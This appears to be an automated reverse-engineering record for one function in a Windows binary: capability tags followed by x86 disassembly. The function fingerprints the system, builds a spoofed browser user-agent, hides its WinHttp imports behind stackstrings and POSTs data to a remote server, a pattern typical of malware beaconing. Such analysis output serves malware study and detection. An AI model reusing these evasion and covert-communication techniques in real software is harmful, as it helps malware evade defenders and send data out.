Function at 0x46a160
Capabilities:
Contain obfuscated stackstrings
Get system information on windows
Link many functions at runtime
Reference http user-agent string

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52e8bb
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x8c0
mov eax, dword [0x57254c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x854], edx
mov dword [ebp - 0x8b8], ecx
mov esi, dword [ebx + 0xc]
mov eax, dword [ebx + 8]
mov dword [ebp - 0x8bc], eax
mov eax, esi
mov dword [ebp - 0x8cc], esi
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], 0
jb 0x46a1d0
mov eax, dword [esi]
xorps xmm0, xmm0
mov byte [eax], 0
push str.GetNativeSystemInfo
push str.kernel32.dll
mov dword [ebp - 0x85c], 0
mov dword [ebp - 0x858], 0
mov dword [ebp - 0x860], 0
movups xmmword [ebp - 0x890], xmm0
mov dword [ebp - 0x870], 0
movups xmmword [ebp - 0x880], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
test eax, eax
je 0x46a234
lea ecx, [ebp - 0x890]
push ecx
call eax
jmp 0x46a241
lea eax, [ebp - 0x890]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ax, word [ebp - 0x890]
cmp ax, 6
je 0x46a264
cmp ax, 0xa
je 0x46a264
mov dword [ebp - 0x8b0], 0x20
cmp ax, 9
jne 0x46a26e
mov dword [ebp - 0x8b0], 0x40
push str.RtlGetNtVersionNumbers
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call edi
test eax, eax
je 0x46a2c3
lea ecx, [ebp - 0x860]
push ecx
lea ecx, [ebp - 0x858]
push ecx
lea ecx, [ebp - 0x85c]
push ecx
call eax
movzx eax, word [ebp - 0x85c]
mov dword [ebp - 0x85c], eax
movzx eax, word [ebp - 0x858]
mov dword [ebp - 0x858], eax
movzx eax, word [ebp - 0x860]
mov dword [ebp - 0x860], eax
push 0x20a
lea eax, [ebp - 0x270]
push 0
push eax
call fcn.004fb730
add esp, 0xc
lea eax, [ebp - 0x270]
push dword [ebp - 0x8b0]
push dword [ebp - 0x858]
push dword [ebp - 0x85c]
push str.Mozilla_5.0__compatible__MSIE_9.0__Windows_NT__d._d__WOW_d__Trident_5.0_
push 0xffffffffffffffff
push 0x104
push eax
call fcn.00415090
add esp, 0x1c
call fcn.004147d0
mov dword [ebp - 0x8b0], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x46a33f
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], 0x486e6957
push eax
push ecx
mov dword [ebp - 0x34], 0x4f707474
mov dword [ebp - 0x30], 0x6e6570
call edi
mov ecx, dword [ebp - 0x8b0]
mov dword [ecx + 0x14], eax
mov eax, ecx
mov eax, dword [eax + 0x14]
lea ecx, [ebp - 0x270]
push 0
push 0
push 0
push 1
push ecx
call eax
mov dword [ebp - 0x8b0], eax
test eax, eax
je 0x46a8cc
call fcn.004147d0
mov dword [ebp - 0x8ac], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x46a39a
movaps xmm0, xmmword [0x55b540]
lea eax, [ebp - 0x28]
push eax
push ecx
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], 0x7374
mov byte [ebp - 0x16], 0
call edi
mov ecx, dword [ebp - 0x8ac]
mov dword [ecx + 0x30], eax
mov eax, ecx
mov eax, dword [eax + 0x30]
push 0x2710
push 0x2710
push 0x2710
push 0x2710
push dword [ebp - 0x8b0]
call eax
call fcn.004147d0
mov dword [ebp - 0x8ac], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x46a3fc
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], 0x486e6957
push eax
push ecx
mov dword [ebp - 0x44], 0x43707474
mov dword [ebp - 0x40], 0x656e6e6f
mov word [ebp - 0x3c], 0x7463
mov byte [ebp - 0x3a], 0
call edi
mov ecx, dword [ebp - 0x8ac]
mov dword [ecx + 0x24], eax
mov eax, ecx
mov eax, dword [eax + 0x24]
push 0
push 0x50
push dword [ebp - 0x8b8]
push dword [ebp - 0x8b0]
call eax
mov dword [ebp - 0x8b8], eax
test eax, eax
je 0x46a888
call fcn.004147d0
mov dword [ebp - 0x8ac], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x46a458
movaps xmm0, xmmword [0x55b400]
lea eax, [ebp - 0x5c]
push eax
push ecx
movups xmmword [ebp - 0x5c], xmm0
mov word [ebp - 0x4c], 0x7473
mov byte [ebp - 0x4a], 0
call edi
mov ecx, dword [ebp - 0x8ac]
mov dword [ecx + 8], eax
mov eax, ecx
mov eax, dword [eax + 8]
push 0
push 0
push 0
push 0
push dword [ebp - 0x854]
push str.POST
push dword [ebp - 0x8b8]
call eax
mov dword [ebp - 0x8ac], eax
test eax, eax
je 0x46a844
push str.Content_Type:application_x_www_form_urlencoded_r_n_r_n
lea ecx, [ebp - 0x8a8]
call fcn.00406240
mov eax, dword [ebp - 0x8bc]
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x8c4], ecx
jb 0x46a4b8
mov eax, dword [eax]
mov dword [ebp - 0x8bc], eax
mov eax, dword [ebp - 0x898]
cmp dword [ebp - 0x894], 8
mov dword [ebp - 0x8c8], eax
lea eax, [ebp - 0x8a8]
cmovae eax, dword [ebp - 0x8a8]
mov dword [ebp - 0x8c0], eax
call fcn.004147d0
mov dword [ebp - 0x8b4], eax
mov eax, dword [eax + 4]
test eax, eax
je 0x46a517
movaps xmm0, xmmword [0x55b3f0]
lea ecx, [ebp - 0x28]
push ecx
push eax
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], 0x7473
mov byte [ebp - 0x16], 0
call edi
mov ecx, dword [ebp - 0x8b4]
mov dword [ecx + 0x28], eax
jmp 0x46a51d
mov ecx, dword [ebp - 0x8b4]
mov eax, dword [ebp - 0x8c4]
push 0
push eax
push eax
mov eax, dword [ebp - 0x8bc]
push eax
push dword [ebp - 0x8c8]
mov eax, dword [ecx + 0x28]
push dword [ebp - 0x8c0]
push dword [ebp - 0x8ac]
call eax
test eax, eax
jne 0x46a560
lea ecx, [ebp - 0x8a8]
mov dword [ebp - 4], 0xffffffff
call fcn.00406140
jmp 0x46a800
call fcn.004147d0
mov dword [ebp - 0x8b4], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x46a5a0
movaps xmm0, xmmword [0x55b3a0]
lea eax, [ebp - 0x2c]
push eax
push ecx
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x6e6f7073
mov word [ebp - 0x18], 0x6573
mov byte [ebp - 0x16], 0
call edi
mov ecx, dword [ebp - 0x8b4]
mov dword [ecx + 0x2c], eax
mov eax, ecx
mov eax, dword [eax + 0x2c]
push 0
push dword [ebp - 0x8ac]
call eax
test eax, eax
jne 0x46a5c8
lea ecx, [ebp - 0x8a8]
mov dword [ebp - 4], 0xffffffff
call fcn.00406140
jmp 0x46a800
mov dword [ebp - 0x86c], 4
call fcn.004147d0
mov dword [ebp - 0x8b4], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x46a608
movaps xmm0, xmmword [0x55b360]
lea eax, [ebp - 0x2c]
push eax
push ecx
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x737265
call edi
mov ecx, dword [ebp - 0x8b4]
mov dword [ecx + 0x34], eax
mov eax, ecx
mov eax, dword [eax + 0x34]
lea ecx, [ebp - 0x86c]
push 0
push ecx
lea ecx, [ebp - 0x864]
push ecx
push 0
push 0x20000013
push dword [ebp - 0x8ac]
call eax
test eax, eax
je 0x46a697
mov edi, dword [ebp - 0x854]
push 0x554918
push edi
call fcn.004faee7
mov ecx, dword [0x5764a4]
test eax, eax
push 0x55a234
cmovne ecx, dword [ebp - 0x864]
push edi
mov dword [0x5764a4], ecx
call fcn.004faee7
mov ecx, dword [0x5764ac]
test eax, eax
push 0x55a338
cmovne ecx, dword [ebp - 0x864]
push edi
mov dword [0x5764ac], ecx
call fcn.004faee7
mov ecx, dword [0x5764a8]
add esp, 0x18
test eax, eax
cmovne ecx, dword [ebp - 0x864]
mov dword [0x5764a8], ecx
mov dword [ebp - 0x868], 0
push 0x5dd
lea eax, [ebp - 0x850]
push 0
push eax
call fcn.004fb730
add esp, 0xc
call fcn.004147d0
mov edi, eax
mov eax, dword [edi + 4]
test eax, eax
je 0x46a701
movaps xmm0, xmmword [0x55b340]
lea ecx, [ebp - 0x888]
push ecx
push eax
movups xmmword [ebp - 0x888], xmm0
mov dword [ebp - 0x878], 0x69617641
mov dword [ebp - 0x874], 0x6c62616c
mov word [ebp - 0x870], 0x65
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [edi + 0x1c], eax
lea eax, [ebp - 0x868]
push eax
push dword [ebp - 0x8ac]
mov eax, dword [edi + 0x1c]
call eax
test eax, eax
je 0x46a7e8
cmp dword [ebp - 0x868], 0
je 0x46a7e8
mov dword [ebp - 0x854], 0
call fcn.004147d0
mov edi, eax
mov eax, dword [edi + 4]
test eax, eax
je 0x46a759
movaps xmm0, xmmword [str.WinHttpReadData]
lea ecx, [ebp - 0x28]
push ecx
push eax
movups xmmword [ebp - 0x28], xmm0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [edi + 0xc], eax
lea eax, [ebp - 0x854]
push eax
push 0x5dc
lea eax, [ebp - 0x850]
push eax
push dword [ebp - 0x8ac]
mov eax, dword [edi + 0xc]
call eax
test eax, eax
je 0x46a7e8
mov edx, dword [esi + 0x14]
mov eax, edx
mov ecx, dword [esi + 0x10]
sub eax, ecx
mov edi, dword [ebp - 0x854]
cmp edi, eax
ja 0x46a7be
lea eax, [edi + ecx]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edx, 0x10
jb 0x46a79e
mov eax, dword [esi]
lea esi, [eax + ecx]
push edi
lea eax, [ebp - 0x850]
push eax
push esi
call fcn.004fbe10
mov byte [esi + edi], 0
add esp, 0xc
mov esi, dword [ebp - 0x8cc]
jmp 0x46a7db
push edi
lea eax, [ebp - 0x850]
mov byte [ebp - 0x8c0], 0
push eax
push dword [ebp - 0x8c0]
mov ecx, esi
push edi
call fcn.004093c0
cmp dword [ebp - 0x868], 0
ja 0x46a6a1
lea ecx, [ebp - 0x8a8]
mov dword [ebp - 4], 0xffffffff
call fcn.00406140
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call fcn.004147d0
mov dword [ebp - 0x854], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x46a839
movaps xmm0, xmmword [0x55b380]
lea eax, [ebp - 0x28]
push eax
push ecx
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], 0x656c
mov byte [ebp - 0x16], 0
call edi
mov ecx, dword [ebp - 0x854]
mov dword [ecx + 0x20], eax
mov eax, ecx
push dword [ebp - 0x8ac]
mov eax, dword [eax + 0x20]
call eax
call fcn.004147d0
mov dword [ebp - 0x854], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x46a87d
movaps xmm0, xmmword [0x55b380]
lea eax, [ebp - 0x5c]
push eax
push ecx
movups xmmword [ebp - 0x5c], xmm0
mov word [ebp - 0x4c], 0x656c
mov byte [ebp - 0x4a], 0
call edi
mov ecx, dword [ebp - 0x854]
mov dword [ecx + 0x20], eax
mov eax, ecx
push dword [ebp - 0x8b8]
mov eax, dword [eax + 0x20]
call eax
call fcn.004147d0
mov dword [ebp - 0x8b8], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x46a8c1
movaps xmm0, xmmword [0x55b380]
lea eax, [ebp - 0x5c]
push eax
push ecx
movups xmmword [ebp - 0x5c], xmm0
mov word [ebp - 0x4c], 0x656c
mov byte [ebp - 0x4a], 0
call edi
mov ecx, dword [ebp - 0x8b8]
mov dword [ecx + 0x20], eax
mov eax, ecx
push dword [ebp - 0x8b0]
mov eax, dword [eax + 0x20]
call eax
mov eax, dword [esi + 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004f8955
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret